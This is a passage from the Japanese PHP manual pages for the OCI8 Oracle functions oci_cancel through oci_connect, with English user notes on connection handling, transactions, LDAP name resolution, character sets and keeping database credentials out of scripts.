        $commit = oci_commit($this->connection);
        else
        $commit = oci_rollback($this->connection);

        return $result;
    }

    // You can make function for insert ,update using above two functions

}
?>
08-May-2007 01:59
This is what the old OCI_B_* constants are now called:
(PHP 5.1.6 win32)

OCI_B_NTY - SQLT_NTY
OCI_B_BFILE - SQLT_BFILEE
OCI_B_CFILEE - SQLT_CFILEE
OCI_B_CLOB - SQLT_CLOB
OCI_B_BLOB - SQLT_BLOB
OCI_B_ROWID - SQLT_RDD
OCI_B_CURSOR - SQLT_RSET
OCI_B_BIN - SQLT_BIN
OCI_B_INT - SQLT_INT
OCI_B_NUM - SQLT_NUM
Chris Delcamp 11-Jan-2007 08:48
This is an example of returning the primary key from an insert so that you can do inserts on other tables with foreign keys based on that value.  The date is just used to provied semi-unique data to be inserted.

$conn = oci_connect("username", "password")
$stmt = oci_parse($conn, "INSERT INTO test (test_msg) values (:data) RETURN test_id INTO :RV");
$data = date("d-M-Y H:i:s");
oci_bind_by_name($stmt, ":RV", $rv, -1, SQLT_INT);
oci_bind_by_name($stmt, ":data", $data, 24);
oci_execute($stmt);
print $rv;
hfuecks at nospam dot org 16-Aug-2005 01:12
Note that there have been some changes on the constant identifiers and the documentation is currently not entirely accurate.

Running the following script;

<?php
foreach (array_keys(get_defined_constants()) as $const) {
    if ( preg_match('/^OCI_B_/', $const) ) {
        print "$const\n";
    }
}
?>

Under PHP 4.4.0 I get;

OCI_B_SQLT_NTY < renamed to OCI_B_NTY with PHP5
OCI_B_BFILE
OCI_B_CFILEE
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN

Under PHP 5.0.4 I get;

OCI_B_NTY
OCI_B_BFILE < docs are wrong right now
OCI_B_CFILEE < docs are wrong right now
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN < it's a mystery


カーソルからの読み込みをキャンセルする

  • ≪ oci_bind_by_name
  • oci_client_version ≫
  • PHP Manual
  • OCI8 関数
  • カーソルからの読み込みをキャンセルする

oci_cancel

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_cancel — カーソルからの読み込みをキャンセルする

説明

oci_cancel ( resource $statement ) : bool

カーソルを無効にして関連付けられた全てのリソースを開放し、 読み込みをキャンセルします。

パラメータ

statement

OCI ステートメント

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Oracle クライアント・ライブラリのバージョンを返す

  • ≪ oci_cancel
  • oci_close ≫
  • PHP Manual
  • OCI8 関数
  • Oracle クライアント・ライブラリのバージョンを返す

oci_client_version

(PHP 5 >= 5.3.7, PHP 7, PHP 8, PECL OCI8 >= 1.4.6)

oci_client_version — Oracle クライアント・ライブラリのバージョンを返す

説明

oci_client_version ( ) : string

PHP がリンクされている Oracle C クライアント・ライブラリのバージョン番号を含む文字列を返します。

パラメータ

ありません

返り値

文字列としてバージョン番号を返します。

例

例1 oci_client_version() の例

<?php
    echo "Client Version: " . oci_client_version(); // Client version: 19.9.0.0.0
?>

注意

注意:

10gR2 より前の Oracle ライブラリには、クライアント・ライブラリのバージョン番号を取得するための 基礎となる機能がありません。この場合、文字列 "Unknown" が返されます。

参考

  • oci_server_version() - Oracle データベースのバージョンを返す

User Contributed Notes

There are no user contributed notes for this page.


Oracleとの接続を閉じる

  • ≪ oci_client_version
  • oci_commit ≫
  • PHP Manual
  • OCI8 関数
  • Oracleとの接続を閉じる

oci_close

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_close — Oracleとの接続を閉じる

説明

oci_close ( resource $connection ) : bool

接続 connection を閉じます。 他のいかなるリソースも利用しない、なおかつ oci_connect() または oci_new_connect() で作成された場合、 基礎となるデータベース接続が閉じられます。

もはや不要となった接続を閉じることを推奨します。 なぜなら、これにより他のユーザーがデータベースリソースを利用できるようになるからです。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 接続を閉じる

基礎となるデータベース接続がきちんと終了され、データベースリソースが解放されることを確実にするために、 接続に関連したリソースは閉じられるべきです。

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');
$r = oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

// 接続を閉じるときにステートメント識別子を解放します
oci_free_statement($stid);
oci_close($conn);

?>

例2 参照の全てが閉じられるまでデータベース接続は閉じられません

基礎となるデータベースへの接続が閉じられる前に 接続の内部的な参照回数識別子はゼロで無ければいけません

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');  // これは $conn の参照回数を増やします
oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

oci_close($conn);

// $conn はもはやスクリプトで使用できませんが、基礎となるデータベース接続は
// $stid が解放されるまで開かれたまま保たれます。
var_dump($conn);  // NULL を出力

// PHP が活動していない間にターミナルウィンドウで Oracle の V$SESSION ビューを
// 参照すると、データベースユーザーがまだ接続されていると表示します。
sleep(10);

// $stid が解放されると、データベース接続は物理的に閉じられます。
oci_free_statement($stid);

// PHP が活動していない間にターミナルウィンドウで Oracle の V$SESSION ビューを
// 参照すると、データベースユーザーが切断されたと表示します。
sleep(10);

?>

例3 一回以上開かれた接続を閉じる

データベースクレデンシャルが再利用されるときは、基礎となるデータベース接続が閉じられる前に、 両方の接続がともに閉じられていなければいけません。

<?php

$conn1 = oci_connect('hr', 'welcome', 'localhost/XE');

// 同じ基礎となるデータベース接続を再利用するクレデンシャルを使用すると、
// $conn1 上でなされたコミットされていない変更は全て、 $conn2 で認識できます。
$conn2 = oci_connect('hr', 'welcome', 'localhost/XE');

// PHP が活動していない間にターミナルウィンドウで Oracle の V$SESSION ビューを
// 参照すると、データベースユーザーが一つだけ接続されたと表示します。
sleep(10);

oci_close($conn1); // 基礎となるデータベース接続を閉じません。
var_dump($conn1);  // 変数 $conn1 がもはや利用できないので NULL を出力します
var_dump($conn2);  // $conn2 はまだ有効な接続リソースと表示されます。

?>

例4 変数がスコープから外れると接続が閉じられます

接続を参照する変数の全てがスコープを外れてPHPにより解放されると、 （必要に応じて）ロールバックが発生します。 そしてデータベースへの基礎となる接続が閉じられます。

<?php

function myfunc() {
    $conn = oci_connect('hr', 'hrpwd', 'localhost/XE');
    if (!$conn) {
        $e = oci_error();
        trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
    }

    $stid = oci_parse($conn, 'UPDATE mytab SET id = 100');
    oci_execute($stid, OCI_NO_AUTO_COMMIT);
    return "Finished";
}

$r = myfunc();
// この時点でロールバックが発生し、基礎となるデータベース接続が閉じられます。

print $r;  // 関数の返り値 "Finished" を表示します

?>

注意

注意:

接続識別子に依存する変数、たとえば oci_parse() により返される ステートメント識別子のような変数は、基礎となるデータベース接続が閉じられる前に 解放されなければいけません。

注意:

PHP 5.1.2 (PECL OCI8 1.1) より前のバージョンでは、oci_close() は実際には何もしませんでした。最近のバージョンでは、きちんと Oracle 接続を閉じます。 この関数の古い動作をさせる場合は oci8.old_oci_close_semantics オプションを使用してください。

注意:

oci_close() 関数は oci_pconnect() で作成された基礎となるデータベース接続を 閉じません。

参考

  • oci_connect() - Oracle データベースに接続する
  • oci_free_statement() - 文やカーソルに関連付けられた全てのリソースを解放する

User Contributed Notes

Fahd Alwashmi (F-A-W) 10-Mar-2012 08:22
please note, you can use oci_close() to close persistent connections opened with oci_pconnect() in PHP ver 5.3 or above.
as stated in here:
http://www.php.net/manual/en/oci8.configuration.php#ini.oci8.persistent-timeout
yepster at hotmail dot com 16-Feb-2002 10:21
For using persistent connections && being able to sleep, I use:

function close_db_locks_on_abort( ) {
    global $conn;
    if( connection_aborted() ) {
        $fp = fopen( "/tmp/shutdown-func.txt", "a" );
        fwrite( $fp, sprintf( "connection aborted on %s\n", date( "d-m-Y H:i:s" ) ) );
        if( $conn ) {
            OCIRollBack( $conn );
            fwrite( $fp, sprintf( "-- DURING CONNECTION! ip=%s, user=%s, page=%s\n", $_SERVER["REMOTE_ADDR"], $_SERVER["PHP_AUTH_USER"], $_SERVER["SCRIPT_FILENAME"] ) );
        }
        fclose( $fp );
    }
}

register_shutdown_function ( "close_db_locks_on_abort" );

This makes sure a rollback is done on a connection when a user hits 'stop', so there will be no locks on table rows.


未解決のトランザクションをコミットする

  • ≪ oci_close
  • oci_connect ≫
  • PHP Manual
  • OCI8 関数
  • 未解決のトランザクションをコミットする

oci_commit

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_commit — 未解決のトランザクションをコミットする

説明

oci_commit ( resource $connection ) : bool

Oracle接続connection 上の未解決なトランザクションをコミットします。 コミットすると、現在のトランザクションを終了してすべての変更を確定させます。 また、保持しているロックをすべて解放します。

トランザクションが始まるのは、データを変更する最初の SQL 文が OCI_NO_AUTO_COMMIT フラグつきで oci_execute() によって実行されたときです。 それ以降、他の文によるデータの変更も同じトランザクションの一部となります。 トランザクション内でのデータの変更は、 そのトランザクションがコミットあるいはロールバックされるまでは一時的なものとなります。 データベース上の他のユーザーは、 トランザクションがコミットされるまでその変更内容を見ることができません。

データを追加したり更新したりする際には、 リレーショナルデータの一貫性やパフォーマンスなどを考慮して トランザクションを使うことを推奨します。

パラメータ

connection

oci_connect()、oci_pconnect() あるいは oci_new_connect() が返す Oracle 接続 ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_commit() の例

<?php

// 複数のテーブルに挿入し、エラーが発生したときにはロールバックします

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// OCI_NO_AUTO_COMMIT フラグは、INSERT の直後にコミットしないよう Oracle に指示します
// PHP <= 5.3.1 では OCI_DEFAULT フラグを使いましょう。どちらのフラグも同じ意味です
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    oci_rollback($conn);  // 両方のテーブルへの変更をロールバックします
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// 両方のテーブルへの変更をコミットします
$r = oci_commit($conn);
if (!$r) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

注意

注意:

トランザクションは接続を閉じたとき、 もしくはスクリプトの終了時のいずれの場合でも すぐに自動的にロールバックされます。 トランザクションをコミットするには oci_commit() をコールする必要があります。

OCI_COMMIT_ON_SUCCESS モードを指定するか、 あるいはデフォルトの状態で oci_execute() をコールすると、 それ以前の未コミットのトランザクションをコミットします。

CREATE や DROP といった Oracle の DDL は、未コミットのトランザクションを自動的にコミットします。

参考

  • oci_execute() - 文を実行する
  • oci_rollback() - 未解決のデータベーストランザクションをロールバックする

User Contributed Notes

There are no user contributed notes for this page.


Oracle データベースに接続する

  • ≪ oci_commit
  • oci_define_by_name ≫
  • PHP Manual
  • OCI8 関数
  • Oracle データベースに接続する

oci_connect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_connect — Oracle データベースに接続する

説明

oci_connect ( string $username , string $password , string $connection_string = ? , string $character_set = ? , int $session_mode = ? ) : resource

他のほとんどの OCI8 コールで必要な接続 ID を返します。

パフォーマンスを向上させるため、 ほとんどのアプリケーションは oci_connect() ではなく、 oci_pconnect() 経由で持続的接続を使うべきです。 接続の管理及び接続プーリングについての一般的な情報は 接続のハンドリングをご覧下さい。

PHP 5.1.2 (PECL OCI8 1.1) 以降で、接続を閉じるために oci_close()を使用できます。

同一の引数で oci_connect() を呼び出すと、 ２回目以降は最初の呼び出しで返された接続ハンドルを返します。 これは、あるハンドル内のトランザクションが、他のハンドル内にも あることを意味します、なぜなら、それらは同一の 基礎となるデータベース接続を使用するからです。 もし２つのハンドルを互いにトランザクション的に分離する必要があれば、 替わりに oci_new_connect() を使用してください。

パラメータ

username

Oracle ユーザー名

password

username に対するパスワード

connection_string

接続先の Oracle インスタンス。 » Easy Connect 文字列、tnsnames.ora ファイルの接続文字列、あるいはローカルの Oracle インスタンス名を指定します。

省略した場合、PHP は環境変数 TWO_TASK (Linux) あるいは LOCAL (Windows) と ORACLE_SID を用いて接続先の Oracle インスタンス を判断します。

Easy Connect 方式を使うには、PHP を Oracle 10g 以降のクライアントライブラリとリンクさせる必要があります。Oracle 10g の Easy Connect 文字列の形式は [//]host_name[:port][/service_name] です。Oracle 11g 以降の場合は、この構文は [//]host_name[:port][/service_name][:server_type][/instance_name] となります。 Oracle 19c では、さらにオプションが追加されています。 タイムアウトや keep-alive の設定を含みます。詳細は Oracle のドキュメントを参照して下さい。 サービス名を調べるには、Oracle のユーティリティ lsnrctl status をデータベースサーバー上で実行します。

tnsnames.ora ファイルは Oracle Net のサーチパス上にあります。 サーチパスに含まれるのは /your/path/to/instantclient/network/admin, $ORACLE_HOME/network/admin, /etc です。 もうひとつの方法として、 TNS_ADMIN を指定して $TNS_ADMIN/tnsnames.ora を読み込ませることもできます。 ウェブデーモンにそのファイルの読み込み権限を与えておきましょう。

character_set

Oracle クライアントライブラリが使う文字セットを指定します。 これは、データベースが用いる文字セットと一致させる必要はありません。 一致していない場合は、Oracle が最善を尽くしてデータベースの文字セットとの間の変換を行います。 文字セットによっては、この変換結果がうまく使えないこともあります。 また、変換にはそれなりの時間を要します。

省略した場合は、 Oracle クライアントライブラリは環境変数 NLS_LANG の値をもとに文字セットを判断します。

このパラメータを渡すことで、 接続に要する時間を短縮できます。

session_mode

このパラメータは PHP 5 (PECL OCI8 1.1) 以降で使え、 OCI_DEFAULT、 OCI_SYSOPER そして OCI_SYSDBA といった値を指定することができます。OCI_SYSOPER あるいは OCI_SYSDBA を指定した場合は、 この関数は外部の証明書を使った特権接続の確立を試みます。 特権接続は、デフォルトでは無効になっています。有効にするには oci8.privileged_connect を On に設定しなければなりません。

PHP 5.3 (PECL OCI8 1.3.4) 以降、 OCI_CRED_EXT モードを使えるようになりました。 これは、Oracle に外部認証あるいは OS 認証を使うよう指示します。 どちらかをデータベースで設定しておかなければなりません。 OCI_CRED_EXT フラグを使えるのは、ユーザー名が "/" でパスワードが空のときだけです。 oci8.privileged_connect は On あるいは Off のどちらでもかまいません。

OCI_CRED_EXT は、 OCI_SYSOPER あるいは OCI_SYSDBA モードと組み合わせて使います。

OCI_CRED_EXT は、セキュリティ上の理由により Windows ではサポートされていません。

返り値

接続 ID、もしくはエラー時は false を返します。

例

例1 Easy Connect 構文を使った基本的な oci_connect() の使用例

<?php

// "localhost" マシン上の XE サービス(例えばデータベース)に接続します。
$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

例2 Network Connect 名を使った基本的な oci_connect() の使用例

<?php

// tnsnames.ora ファイルに記載された MYDB データベースに接続します。
// MYDB 用の tnsnames.ora エントリーの一例です。
//   MYDB =
//     (DESCRIPTION =
//       (ADDRESS = (PROTOCOL = TCP)(HOST = mymachine.oracle.com)(PORT = 1521))
//       (CONNECT_DATA =
//         (SERVER = DEDICATED)
//         (SERVICE_NAME = XE)
//       )
//     )

$conn = oci_connect('hr', 'welcome', 'MYDB');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

例3 oci_connect() での明示的な文字セットの指定

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE', 'AL32UTF8');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

例4 oci_connect() での複数コールの使用

<?php

$c1 = oci_connect("hr", "welcome", 'localhost/XE');
$c2 = oci_connect("hr", "welcome", 'localhost/XE');

// 同一の基礎となるデータベース接続を使用することを意味する、
// 同一の PHP リソース id を $c1 及び $c2 の両方が示します。
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

function create_table($conn)
{
    $stmt = oci_parse($conn, "create table hallo (test varchar2(64))");
    oci_execute($stmt);
    echo "Created table<br>\n";
}

function drop_table($conn)
{
    $stmt = oci_parse($conn, "drop table hallo");
    oci_execute($stmt);
    echo "Dropped table<br>\n";
}

function insert_data($connname, $conn)
{
    $stmt = oci_parse($conn, "insert into hallo
              values(to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
    oci_execute($stmt, OCI_DEFAULT);
    echo "$connname inserted row without committing<br>\n";
}

function rollback($connname, $conn)
{
    oci_rollback($conn);
    echo "$connname rollback<br>\n";
}

function select_data($connname, $conn)
{
    $stmt = oci_parse($conn, "select * from hallo");
    oci_execute($stmt, OCI_DEFAULT);
    echo "$connname ----selecting<br>\n";
    while (oci_fetch($stmt)) {
        echo "    " . oci_result($stmt, "TEST") . "<br>\n";
    }
    echo "$connname ----done<br>\n";
}

create_table($c1);

insert_data('c1', $c1);   // c1 を使用して行を挿入
sleep(2);                 // ２行目で異なるタイムスタンプを表示するためにスリープします
insert_data('c2', $c2);   // c2 を使用して行を挿入

select_data('c1', $c1);   // 両方の挿入結果が返されます
select_data('c2', $c2);   // 両方の挿入結果が返されます

rollback('c1', $c1);      // c1 を使用してロールパック

select_data('c1', $c1);   // 両方の挿入行為がロールバックされました
select_data('c2', $c2);

drop_table($c1);

// 接続のうちの一つを閉じると、その PHP 変数が利用できなくなりますが、
// もう一つは使用できます。
oci_close($c1);
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

// 出力です。
//    c1 is Resource id #5
//    c2 is Resource id #5
//    Created table
//    c1 inserted row without committing
//    c2 inserted row without committing
//    c1 ----selecting
//        09-DEC-09 12:14:43
//        09-DEC-09 12:14:45
//    c1 ----done
//    c2 ----selecting
//        09-DEC-09 12:14:43
//        09-DEC-09 12:14:45
//    c2 ----done
//    c1 rollback
//    c1 ----selecting
//    c1 ----done
//    c2 ----selecting
//    c2 ----done
//    Dropped table
//    c1 is
//    c2 is Resource id #5

?>

注意

注意:

OCI8 拡張モジュールのインストールや設定に不備があると、 接続時に問題やエラーが発生します。解決策は インストール/設定 を参照ください。

参考

  • oci_pconnect() - 持続的接続を使用してOracle データベースに接続する
  • oci_new_connect() - 一意な接続を使って Oracle サーバーへ接続する
  • oci_close() - Oracleとの接続を閉じる

User Contributed Notes

blake dot lewis at gmail dot com 08-Mar-2013 03:10
Using ldap for Oracle name resolution:

  The web server will need the environmental variable TNS_ADMIN='Directory of tnsname.ora' unless the default location is used. I use '/etc/tns_admin'. Confirm using the phpinfo().

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_server_fqdn:port)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The quick part: give it a tnsnames.ora file and start it up. The dirty parts: I can't get Toad and SQLDeveloper to work with it, it ignores the domain and it is no longer being maintained.

  The order of values in NAMES.DIRECTORY_PATH in sqlnet.ora determines which look up 'adapter' is used, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  If connecting with only ORACLE_SID and not ORACLE_SID.DB_DOMAIN, the value of NAMES.DEFAULT_DOMAIN from sqlnet.ora is appended, then for some reason PHP tries the HOSTNAME adapter, and if the database name resolves in DNS, it will fail connecting using the database name as the hostname, because neither SID nor SERVICE_NAME are defined.
  If using tnsManager append '.ANY_DOMAIN' to $ORACLE_SID to hack around the issue above.

  I have tested with:
       11.1.0.7 full client and PHP 5.1.6
       11.2.0.2 full client and PHP 5.4.11

  I have heard that LDAP lookup does not work with older instantclients.
blake dot lewis at gmail dot com 15-Feb-2013 11:38
Using ldap for Oracle name resolution:

  The web server needs the environmental variable TNS_ADMIN='Directory of tnsname.ora'. I use '/etc/tns_admin'. Confirm using the phpinfo() function.

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_fqdn_hostname:1575)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The default port is 1575.

  The order of values in NAMES.DIRECTORY_PATH from sqlnet.ora determines which look up 'adapter' is used first, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  For some reason PHP tries the HOSTNAME adapter first, and if the database name resolves in DNS, it will try connecting using the database name as the hostname with no SID or SERVICE_NAME defined. All other Oracle clients I have used will not try the HOSTNAME adapter unless it is listed in NAMES.DIRECTORY_PATH.
  I have heard that LDAP look up does not work with older instantclients.
Anonymous 10-Feb-2012 06:33
How to connect from PHP to an Oracle database using OID (Oracle Internet Directory):

OID is like a lookup index that contains connection strings for connecting to various databases. Without OID, a database connection string would be stored directly in the code settings and used by the PHP code to connect to a database. With OID, a lookup can be made to the OID LDAP to acquire the database connection string. Then the PHP code will use the acquired database connection string to connect to the database as before.

OID allows a DBA to manage/change which database server that an application uses without having to change any database settings in the PHP application itself or on the application server.

Here are the basic steps for PHP to connect to a database via OID:

- The DBA should provide you the connection information for the OID LDAP as well as the username/password for the database connection.
- Connect to the OID LDAP using the provided information
- Search for the appropriate LDAP record
- Get the connection string data from the record attribute, \&quot;orclnetdescstring\&quot;
- Close the LDAP connection
- Use the acquired connection string data to connect to the database as usual using the provided database username/password.

Here is basic sample code to do this:

// Get connection string from OID LDAP

    $ds=ldap_connect($servername,$serverport); // Connect to ldap
    $r=ldap_bind($ds); // Bind to ldap
    $sr = ldap_search($ds, \&quot;cn=OracleContext,dc=___,dc=___,dc=___\&quot;, \&quot;cn=$sid\&quot;); // Run query
    $info = ldap_get_entries($ds, $sr); // Get entries
    ldap_close($ds); // Close connection

    $dbconnectstring = $info[0][\&quot;orclnetdescstring\&quot;][0]; // Extract db connect string from ldap search result array

// Connect to database using acquired connection string from OID

    $dbconnection = oci_connect ($username,$password,$dbconnectstring);
peter at goldthorp dot com 07-Aug-2011 03:28
I started getting "ORA-12514: TNS:listener does not currently know of service requested in connect descriptor" errors when I upgraded my database instance from 10.2 to 11.2.  For some reason it would not resolve the oci_connect calls with the Easy Connect syntax (easy connect calls from sqlplus were fine).  I was able to workaround the issue by passing a tns connect string:

<?php
$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = oci_connect("name","password",$db);
?>
jtacon at php dot net 07-Feb-2011 05:24
If you upgrades the OCI8, be sure to use the latest oracle instantclient version, otherwise you can receive an "ORA-24315: illegal attribute type" when trying to connect due to incompatibility with some versions.

HTH,
Javier Tacon
Jonathon Robinson 15-Jun-2010 11:12
Regarding the following statement in the documentation:
"The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call."

There's one caveat here.  Subsequent calls to oci_connect() will only return the same connection handle as the first call as long as a reference is held to the original handle.

For example, the following code will generate *one* connection handle:

<?php
$dbh = oci_connect($username, $password, $conn_info);
// Do stuff
$dbh = oci_connect$username, $password, $conn_info);
// Do more stuff

The follow code will generate *two* connection handles:
getData();
// Do stuff
getData();
// Do more stuff

getData() {
    $dbh = oci_connect($username, $password, $conn_info);
    // Do stuff
}
?>

This is the result of PHP garbage collecting the handle at the end of the method scope.

If you want to isolate your DB layer through function calls but still want to leverage the fact that oci_connect can return the same handle, just keep a reference to the handle like so:

<?php
getData($username, $password, $conn_info) {
    $dbh = oci_connect($username, $password, $conn_info);
    $key = hash('md5', "$username|$password|$conn_info");
    $GLOBALS[$key] = $dbh;
    // Do stuff
}
?>

I originally logged this as a bug but apparently this is the expected behaviour, likely because oci_close($dbh) just calls unset($dbh).
drew dot carmichael at gmail dot com 03-Jul-2009 01:55
When using the OCI_CRED_EXT in php
if the ENV $ORACLE_SID is set the DB does not need to be specified explicitly and the connection will fail unless you provide a NULL DB value when creating the connection.

The $ORACLE_SID trumps the TNS name look up for the connection. So even a manual connection string in the DB parameter will fail.

So when the $ORACLE_SID Env is set a NULL passed instead of the DB name connects successfully.

Hope this saves some hair pulling when moving to %.3 and OS Authentications
Leandro da Cunha Campos 11-May-2009 11:04
ONE ALTERNATIVE OF CONNECT IN ORACLE RAC "Real Application Clusters"

<?php
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip1)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco1)))";

$dbstr1 ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip2)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco2)))";

if(!@($conn = oci_connect('user','password',$dbstr1)))
{ $conn = oci_connect('user','password',$dbstr) or die (ocierror()); }
?>
sixd at php dot net 30-Jun-2008 04:33
If you want to specify a connection timeout in case there is network problem, you can edit the client side (e.g. PHP side) sqlnet.ora file and set SQLNET.OUTBOUND_CONNECT_TIMEOUT. This sets the upper time limit for establishing a connection right through to the DB, including the time for attempts to connect to other services.   It is available from Oracle 10.2.0.3 onwards.

In Oracle 11.1, a slightly lighter-weight solution TCP.CONNECT_TIMEOUT was introduced.  It also is a sqlnet.ora parameter.  It bounds just the TCP connection establishment time, which is mostly where connection problem are seen.

The client sqlnet.ora file should be put in the same directory as the tnsnames.ora file.
sebastien.barbieri _at_ gmail dot com 13-Sep-2006 09:42
When you are using Oracle 9.2+ I would say that you MUST use the CHARSET parameter.

Of course, you will not notice it until there is accented character... so just specify it and you will avoid a big headache.

So for example here is our Oracle internal conf:
select * from nls_database_parameters;

PARAMETER                      VALUE
------------------------------ ----------------------------------------
...
NLS_LANGUAGE                   AMERICAN
NLS_TERRITORY                  AMERICA
NLS_ISO_CURRENCY               AMERICA
NLS_CHARACTERSET               WE8ISO8859P15
...

And there our oci_connect call:

$dbch=ocilogon($user,$pass,$connectString,"WE8ISO8859P15");

Without that, you will get question mark (inversed), squares... instead of most accented character.

Don't forget to use that for writing as well as for reading.
ben at onshop dot co dot uk 14-Jul-2005 05:25
There is a useful solution to the problem of securing connection information in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. They propose using 'SetEnv' in the Apache configuration and then accessing the values from within a script using $_SERVER.

Unfortunately using the 'SetEnv' solution exposes your connection information to all users of that virtual host. If they run phpinfo.php or display $_SERVER, I found that they will see the password from any file under the root of that virtual host.

To restrict exposure to a particular directory or specific file:

1. First put an 'Include' to the secret file in httpd.conf. For example:

Include "/web/private/secret.txt"

2. In the password file, use the 'SetEnvIf' directive to enable the Environment variables by directory only or within a specific file. For example:

- For all files in the directory:

SetEnvIf Request_URI "/path/to/my/directory" ORACLE_PASS=5gHj790j

- For a specific file in the directory

